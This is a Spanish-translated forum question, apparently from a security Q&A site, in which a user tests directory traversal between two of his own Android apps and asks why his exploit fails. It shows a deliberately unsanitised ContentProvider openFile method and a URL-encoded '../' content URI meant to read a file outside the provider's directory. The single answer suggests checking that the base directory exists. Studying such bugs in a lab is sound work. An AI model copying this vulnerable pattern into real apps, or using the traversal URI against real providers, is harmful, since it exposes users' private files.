Código de ejemplo de cruce de directorio

8

Estoy estudiando el ataque 'Directory traversal' en aplicaciones de Android usando enlace

Entiendo el concepto detrás de la vulnerabilidad de que la entrada se debe limpiar correctamente antes de abrir cualquier archivo. Quería probar la vulnerabilidad, así que tengo un código de ejemplo que escribí.

Tengo 2 aplicaciones (AppA y AppB), y mi motivo es explotar la vulnerabilidad en el método openFile del proveedor de contenido de AppA. Es como sigue:

@Nullable
@Override
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    String path = Uri.parse(DETAILS_DIRECTORY + uri).getLastPathSegment();
    File file = new File(DETAILS_DIRECTORY, path);
    Log.v ("gaurav", "path : " + path);
    Log.v ("gaurav", "File exists: " + file.exists());

    return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}

donde DETALLE_DIRECTORY es:

private static final String DETAILS_DIRECTORY = "abc/efg/";

Por lo tanto, al usar el recorrido de directorios, mi motivo es acceder

/storage/sdcard/hello_world/logs

El código utilizado para explotar la vulnerabilidad es (en AppB):

String target = "content://com.android.AppA.Provider/friends/" +
            "%2E%2E%2F%2E%2E%2Fstorage%2Fsdcard%2Fhello_world%2Flogs";

ContentResolver cr = mContext.getContentResolver();
FileInputStream fis = null;
try {
      fis = (FileInputStream) cr.openInputStream(Uri.parse(target));
} catch (FileNotFoundException e) {
      e.printStackTrace();
}

Lo que entendí por el enlace anterior es que, de hecho, es posible acceder a algún archivo en otro directorio (que no sea el directorio configurado por defecto, que es DETAILS_DIRECTORY en este caso). Pero si ejecuto ambas aplicaciones y trato de atacar, la ruta final que recibo es de la forma / storage / sdcard / hello_world / logs que es correcta, pero file.exists () me da falso en el registro, y también causa FileNotFoundException por las razones obvias. ¿Hay alguna manera de que pueda subir al directorio raíz y acceder? el camino deseado? Realmente apreciaría alguna ayuda con respecto a esto.

ACTUALIZACIÓN: Todo se reduce al hecho de que cuando tengo una ruta de archivo como "/ storage / sdcard / hello_world / logs", todo funciona bien y todos los métodos (canRead (), isFile (), existe ()) devolver verdadero, pero cuando la ruta del archivo es "/abc/efg/../../../storage/sdcard/hello_world/logs", los métodos devuelven false y no se encuentra el archivo. Por lo tanto, no puedo entender cómo usar la API de archivos para acceder a los archivos que contienen "../" en su ruta.

    
pregunta gaurav jain 28.12.2015 - 14:33
fuente

1 respuesta

0

¿Es abc / efg un directorio válido? Por favor, compruebe. Si no existe, es posible que no pueda resolver la ruta, y es por eso que esos métodos están devolviendo falso. Sólo haz este pequeño cheque. Puede ser que usted pueda resolver el error en la ruta del directorio en algún lugar. Así que espero que 'abc' y 'efg' sean directorios válidos.

    
respondido por el Archit Kapoor 05.01.2016 - 13:54
fuente

Lea otras preguntas en las etiquetas